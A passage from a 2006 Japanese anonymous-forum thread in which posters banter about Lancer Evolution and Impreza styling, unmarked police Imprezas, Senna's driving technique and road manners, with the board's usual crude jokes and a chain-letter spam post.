この車どう思う？って彼女に聞いた。
なんか火吹いて空飛びそうとのこと。
あと、ダサいって。
やっぱ丸目インプのワゴンにしよっと。
908 ：名無しさん＠そうだドライブへ行こう：2006/02/19(日) 20:39:58 ID:JUZ2Y6wt0
エボはダサいけどお前の彼女に言われたくはないって
909 ：名無しさん＠そうだドライブへ行こう：2006/02/19(日) 20:44:33 ID:Jja6Ig4M0
歴代インプの中でもっとも不評なのが丸目インプ
910 ：名無しさん＠そうだドライブへ行こう：2006/02/19(日) 20:47:17 ID:Hrsy8Ifz0
だからこそお買い得！ｗ
911 ：名無しさん＠そうだドライブへ行こう：2006/02/19(日) 20:47:54 ID:JUZ2Y6wt0
>>909
今のやつよりはマシっぽいが・・・
912 ：名無しさん＠そうだドライブへ行こう：2006/02/19(日) 20:50:38 ID:PX9wmAxUO
だか糞クルマ…
913 ：名無しさん＠そうだドライブへ行こう：2006/02/19(日) 20:52:10 ID:Id3FDrTN0
え、インプに丸目なんてないですよ？
ＧＣのつり目と涙目だけですよ？
914 ：名無しさん＠そうだドライブへ行こう：2006/02/19(日) 20:53:00 ID:RKU1aYly0
お前の彼女基準なんかしるかヴォケ
915 ：名無しさん＠そうだドライブへ行こう：2006/02/19(日) 21:26:32 ID:SVck02t90
>>913
既に黒歴史かｗ
916 ：名無しさん＠そうだドライブへ行こう：2006/02/19(日) 22:39:56 ID:1mV7fYq20
しかも現行インプもねw

<チ裏>
でもGDBの中では丸目が一番好きな俺。
涙目はバランス悪く感じるし、現行はグリルがね…
</チ裏>
917 ：名無しさん＠そうだドライブへ行こう：2006/02/19(日) 23:14:52 ID:oIWkNy5+0
>>907
エボは確かにダサいかもしれない。特にケツが。

でも、大好きなんだよなぁ
918 ：名無しさん＠そうだドライブへ行こう：2006/02/20(月) 00:54:28 ID:3poujrwH0
>>907
CTなんか後姿はほとんどセダンとかわらんだろ
919 ：名無しさん＠そうだドライブへ行こう：2006/02/20(月) 01:38:28 ID:4qJ+QyB/0
現行インプってこれ？
http://catalogue.carview.co.jp/SUBARU/IMPREZA_SPORTSWAGON/latest/overview.asp
920 ：名無しさん＠そうだドライブへ行こう：2006/02/20(月) 01:58:01 ID:J6hxjr1FO
ところで次スレって、立つっちゃろ～か??
921 ：名無しさん＠そうだドライブへ行こう：2006/02/20(月) 02:03:49 ID:3poujrwH0
(ﾟ⊿ﾟ)ｲﾗﾈ
922 ：名無しさん＠そうだドライブへ行こう：2006/02/20(月) 02:04:05 ID:z6mTB/zu0
なんちゃ、それ？
923 ：名無しさん＠そうだドライブへ行こう：2006/02/20(月) 08:02:17 ID:XroHUbQB0
昨日新型インプレッサの覆面見た。

みんな気をつけろよ。白だ。
924 ：名無しさん＠そうだドライブへ行こう：2006/02/20(月) 11:07:19 ID:HjjZFvlp0
>>923
そう言うオマエはどこに住んでるんだｗ
925 ：名無しさん＠そうだドライブへ行こう：2006/02/20(月) 14:26:32 ID:1s+6tr9L0
印譜の覆面ＰＣ(；´Д`)ﾊｧﾊｧ
昔、外苑東通りで紺色Ｓ１２の
覆面を見たけど、あれって
どういう基準で導入してんの？

　　　　　　　　　　　　　　　　　おせーて頭良い人！
926 ：名無しさん＠そうだドライブへ行こう：2006/02/20(月) 20:39:03 ID:oZ+mvtry0
エボインプ煽りの次スレなんて立ててもスレストくらうだけ
927 ：小５：2006/02/20(月) 20:53:10 ID:ZmC3DEEd0
>>919
初かきこ！
そうです。
928 ：名無しさん＠そうだドライブへ行こう：2006/02/20(月) 21:12:19 ID:tj7bte5H0
現行インプはレガシィ乗りにちょっと評判いいみたいよ
俺調べ（サンプル人数１人）
929 ：名無しさん＠そうだドライブへ行こう：2006/02/20(月) 21:21:50 ID:1OGhfgLn0
現行インプを嫌ってるのはつり目涙目の旧インプ乗り
実物を見た一般人の受けは
過去インプの中で一番良かったりする
930 ：名無しさん＠そうだドライブへ行こう：2006/02/20(月) 21:22:31 ID:FQVk27hZ0
>>929
ほんとかよ・・・
931 ：名無しさん＠そうだドライブへ行こう：2006/02/20(月) 21:28:25 ID:YACnh/DjO
後続車がフェラーリ･ディアブロ
932 ：名無しさん＠そうだドライブへ行こう：2006/02/20(月) 21:28:58 ID:FQVk27hZ0
後続車がミハエル・シューマッハー
933 ：名無しさん＠そうだドライブへ行こう：2006/02/20(月) 21:30:27 ID:2QOT5PO60
>>930
ウイングロードに似てるからだろ。
934 ：名無しさん＠そうだドライブへ行こう：2006/02/20(月) 21:30:55 ID:yQ8ryfOL0
このﾚｽをみたあなたは･･･3日から7日に
ﾗｯｷｰなことが起きるでしょう｡片思いの人と両思いになったり
成績や順位が上ったりetc...でもこのﾚｽをｺﾋﾟﾍﾟして別々のｽﾚに
5個貼り付けてください｡貼り付けなかったら今あなたが1番起きて
ほしくないことが起きてしまうでしょう｡
ｺﾋﾟﾍﾟするかしないかはあなた次第...
○｡･｡○｡･｡○｡･｡○｡･｡○｡･｡○｡･｡○｡･｡○｡･｡○
935 ：名無しさん＠そうだドライブへ行こう：2006/02/20(月) 23:27:04 ID:uPB3YLa30
>>931
昔さ、Ｒ３２乗ってた頃に中央道でＦ４０に張り付かれた時は
マジでビビッたよ(；´Д`)ﾊｧﾊｧ

慌てて避けたらあっという間にすっ飛んでいきますた。
忘れもしない、そんな俺でもぬおわ㌔だった訳だが…orz
936 ：名無しさん＠そうだドライブへ行こう：2006/02/20(月) 23:54:02 ID:4qJ+QyB/0
>>927
㌧

現行インプの方が好きだけどな
なんで人気ないんだろ
937 ：名無しさん＠そうだドライブへ行こう：2006/02/21(火) 00:31:29 ID:Wfgb2EJo0
実際ディアブロに憑かれたことがあった。
後ろにいるはずなのに前方からも雷のような音がしてきた。
938 ：名無しさん＠そうだドライブへ行こう：2006/02/21(火) 01:09:23 ID:Z/JQR+jT0
>>936
ボテっとしてかっこ悪いもん
939 ：名無しさん＠そうだドライブへ行こう：2006/02/21(火) 01:49:01 ID:5Q0KV9oF0
>>932
ミハエル・シューマッハー はクルマじゃないよ
それをいうなら
後続車のドライバーがミハエル・シューマッハー
940 ：名無しさん＠そうだドライブへ行こう：2006/02/21(火) 02:41:50 ID:1PNQ7jN30
後続車がアイルトン・セナってかｗ
941 ：名無しさん＠そうだドライブへ行こう：2006/02/21(火) 03:45:41 ID:X9Qi5AVf0
黄泉の国からごくろーさまです！

鈴鹿での車載カメラの足さばきが
今も脳裏から離れません。
おしい人を我々は亡くした訳です。
942 ：名無しさん＠そうだドライブへ行こう：2006/02/21(火) 08:07:02 ID:WPHERKgMO
現行インプ、グリル回りは気にくわないけど性能は結構いいと思うんだけどどうでしょ？
943 ：名無しさん＠そうだドライブへ行こう：2006/02/21(火) 08:19:01 ID:Alk/MK2g0
エボ、インプが後続だろうと別にどうでも良い。
俺のF50シーマ様には日本刀が積んである。
よって俺の勝利は確実。改造エアガンも持ってるし、燃料はガソリンでは
なくてタンク内で核融合起こしてエネルギーに変えて走ってるし。
まさに無敵。
ただし事故った時は町一つ一緒に消えてもらう。
944 ：名無しさん＠そうだドライブへ行こう：2006/02/21(火) 10:39:08 ID:8E/wggVy0
>>943




　　　　　　　　　　　　２点。
945 ：名無しさん＠そうだドライブへ行こう：2006/02/21(火) 11:02:11 ID:FB/mQfj50
>>943
ただの厨レスかと思ったが
>ただし事故った時は町一つ一緒に消えてもらう。
だけﾜﾛﾀ
946 ：名無しさん＠そうだドライブへ行こう：2006/02/21(火) 13:43:36 ID:kuaXbwfT0
セナ足は真似したよなーｗ
947 ：名無しさん＠そうだドライブへ行こう：2006/02/21(火) 14:04:46 ID:uRAL2KZ40
セナ足か、なつかすいな。

まるで５０～６０㌔で流してるような
錯覚を覚えたなぁ(；´Д`)ﾊｧﾊｧ
948 ：名無しさん＠そうだドライブへ行こう：2006/02/23(木) 15:59:48 ID:kSpQ48Ql0
ttp://www.mitsubishi-motors.tv/evo.html
一番下のパニやんの足さばきもスゴイとｵﾓﾀ
949 ：名無しさん＠そうだドライブへ行こう：2006/02/23(木) 16:18:50 ID:TFpHSpe00
パニ足よー解らんかどｽｺﾞｽ
950 ：名無しさん＠そうだドライブへ行こう：2006/02/24(金) 03:58:49 ID:rq/QJLSYO
さっきインプが246を右に左に爆走してたよ。
トラック、信号にひっかかって、結局視界に入り続けていたけど。
隣に並んだら、やっぱデブ眼鏡グローブだった。
インプを馬鹿にするつもりはないが、乗ってる奴はマジヤバカッタ…
馬鹿にされても仕方ないと思ったよ。
951 ：名無しさん＠そうだドライブへ行こう：2006/02/24(金) 04:58:06 ID:tIETWaLq0
さっきセルシオがR2を右に左に爆走してたよ。
トラック、信号にひっかかって、結局視界に入り続けていたけど。
隣に並んだら、やっぱ黒スーツにグラサンだった。
セルシオを馬鹿にするつもりはないが、乗ってる奴はマジヤバカッタ…
ミンチにされても仕方ないと思ったよ。
952 ：名無しさん＠そうだドライブへ行こう：2006/02/24(金) 09:46:45 ID:bByeH9Yz0
　

　　　　　(´・ω・｀)ｼｮﾎﾞ



953 ：名無しさん＠そうだドライブへ行こう：2006/02/24(金) 18:36:09 ID:vpssBgjE0
なあんだ、二人で並んで走ってたのね。
954 ：名無しさん＠そうだドライブへ行こう：2006/02/24(金) 19:02:39 ID:iWfXWn5R0
インプは街中で見ても特に何も感じないんだが、
エボは何か･･･こう･･･変な違和感在るんだよな。

955 ：名無しさん＠そうだドライブへ行こう：2006/02/24(金) 20:07:12 ID:2s9HWJJp0
昴＝谷村＝ハゲ
956 ：名無しさん＠そうだドライブへ行こう：2006/02/25(土) 12:46:53 ID:gdl22OAb0
↑こじつけフォーーーーーー！
957 ：名無しさん＠そうだドライブへ行こう：2006/02/25(土) 20:51:25 ID:90zsbGin0
４Ｇ６３はフォークリフトにも搭載されているんだｗｗｗｗｗｗｗｗｗｗ
958 ：名無しさん＠そうだドライブへ行こう：2006/02/25(土) 21:33:26 ID:m4cbznKl0
俺が代車でプレオのSTIモデル？（CVTで7速パドルシフトのやつ)借りたときにインプヲタが異常に煽ってきたから路上で説教したことがあったよ。
なんであいつらバカが多いんだ？
959 ：名無しさん＠そうだドライブへ行こう：2006/02/25(土) 22:04:00 ID:xeuxKQVwO
だって車が速いんだもん。しょーがないわ！BY 女で すみません
960 ：名無しさん＠そうだドライブへ行こう：2006/02/25(土) 22:15:47 ID:09xaAoLF0
>959何女だと！？
　 _ 　∩
(　ﾟ∀ﾟ)彡　おっぱい！おっぱい！
　⊂彡
961 ：名無しさん＠そうだドライブへ行こう：2006/02/25(土) 23:21:42 ID:B1fw6K210
　 _ 　∩
(　ﾟ∀ﾟ)彡　おっぱい！おっぱい！
　⊂彡
962 ：名無しさん＠そうだドライブへ行こう：2006/02/25(土) 23:36:54 ID:XtFEM635O
エボ、インプみたいなハイスペック車に乗ってるヤツは
割とマナーがいいよな。セレナとかステップワゴンとか
ハイエースが背後にいてる方が不愉快。
やたら煽ってくるヤツ多いし。
963 ：名無しさん＠そうだドライブへ行こう：2006/02/25(土) 23:52:53 ID:jt2cf52L0
WRX、又はSTIに乗ってる女の子は美人が多い
964 ：名無しさん＠そうだドライブへ行こう：2006/02/26(日) 00:00:35 ID:SnwouenUO
(v_v)休日でも独り乗車が多い
965 ：名無しさん＠そうだドライブへ行こう：2006/02/26(日) 00:07:04 ID:opLM82mo0
マナーなんて車にかんけーねーよ
どんな車でもいる

エボインプはブサキモご用達車だよね
966 ：名無しさん＠そうだドライブへ行こう：2006/02/26(日) 00:13:28 ID:dAadSXWrO
うめ
967 ：名無しさん＠そうだドライブへ行こう：2006/02/26(日) 00:33:54 ID:mNDO+Y0I0
>>957
キャンターガッツのガソリン車も、４G63だよ～（汎用仕様エンジン）。

……。
ガッツ・エボリューションとか、頭に浮かんでしまった漏れ。
968 ：名無しさん＠そうだドライブへ行こう：
ミニバンには、今にも幼女誘拐をしそうなキモ吉くんが乗ってるな